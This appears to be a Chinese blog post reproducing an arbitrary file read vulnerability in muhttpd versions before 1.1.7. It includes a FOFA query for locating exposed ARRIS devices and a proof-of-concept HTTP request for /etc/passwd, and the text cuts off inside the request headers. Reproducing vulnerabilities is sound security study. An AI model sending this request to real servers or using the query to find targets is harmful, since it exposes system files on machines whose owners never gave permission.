漏洞复现 || muhttpd 任意文件读取

丢了少年失了心1

于 2023-08-24 11:19:10 发布

阅读量206

点赞数

CC 4.0 BY-SA版权

分类专栏：网络安全 web安全渗透测试漏洞复现文章标签：漏洞复现网络安全 web安全

本文链接：https://blog.csdn.net/u010025272/article/details/132470230

网络安全 web安全渗透测试漏洞复现专栏收录该内容

252 篇文章 ¥29.90 ¥99.00

订阅专栏

超级会员免费看

本文详细介绍了muhttpd 1.1.7以前版本的一个安全漏洞，该漏洞允许攻击者实现任意文件读取。文章首先描述了漏洞情况，然后声明仅供学习用途，提醒读者合法合规使用。接着，作者确定了受影响的资产，并通过POC进行了漏洞复现。最后，虽然未提供具体的修复方案，但暗示了存在修复措施。

漏洞描述

muhttpd（mu-HTTP-deamon）是一个简单但完整的web服务器，用可移植的ANSI C编写。它支持静态页面、CGI脚本、基于MIME类型的处理程序和HTTPS，muhttpd 1.1.7之前版本存在安全漏洞。攻击者利用该漏洞读取系统任意文件。

免责声明

技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得利用网络从事危害国家安全、荣誉和利益，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！！

资产确定

fofa："2017 ARRIS Enterprises,"

在这里插入图片描述

漏洞复现

1.利用如下POC进行GET请求验证


GET a/etc/passwd  HTTP/1.1
Host: {
  
  {Hostname}}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml